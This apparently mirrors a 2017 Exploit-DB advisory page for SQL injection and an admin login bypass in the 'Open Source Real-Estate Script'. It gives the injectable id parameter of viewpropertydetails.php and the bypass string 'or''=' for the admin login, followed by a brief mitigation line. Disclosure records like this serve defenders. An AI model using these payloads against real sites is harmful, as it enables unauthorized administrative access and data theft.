header-logo
Suggest Exploit
vendor:
Open Source Real-Estate Script
by:
İhsan Şencan
8,8
CVSS
HIGH
SQL Injection + Admin Login Bypass
89
CWE
Product Name: Open Source Real-Estate Script
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2017

SQL Injection + Admin Login Bypass

An attacker can exploit the vulnerability by sending a malicious SQL query to the viewpropertydetails.php page with the id parameter. Additionally, an attacker can bypass the admin login page by setting the username and password to 'or''='.

Mitigation:

Developers should ensure that user input is properly sanitized and validated before being used in SQL queries.
Source

Exploit-DB raw data:

# # # # # 
# Vulnerability: SQL Injection + Admin Login Bypass
# Date: 13.01.2017
# Vendor Homepage: http://phprealestatescript.org/
# Script Name: Open Source Real-Estate Script
# Script Buy Now: http://phprealestatescript.org/open-source-real-estate-script.html
# Author: İhsan Şencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # # 
# SQL Injection/Exploit :
# http://localhost/[PATH]/viewpropertydetails.php?id=[SQL]
# 
# Admin Login Bypass
# http://localhost/[PATH]/admin/ and set Username and Password to 'or''=' and hit enter.
# # # # #

Navigation

Suggest Exploit

Services By CQR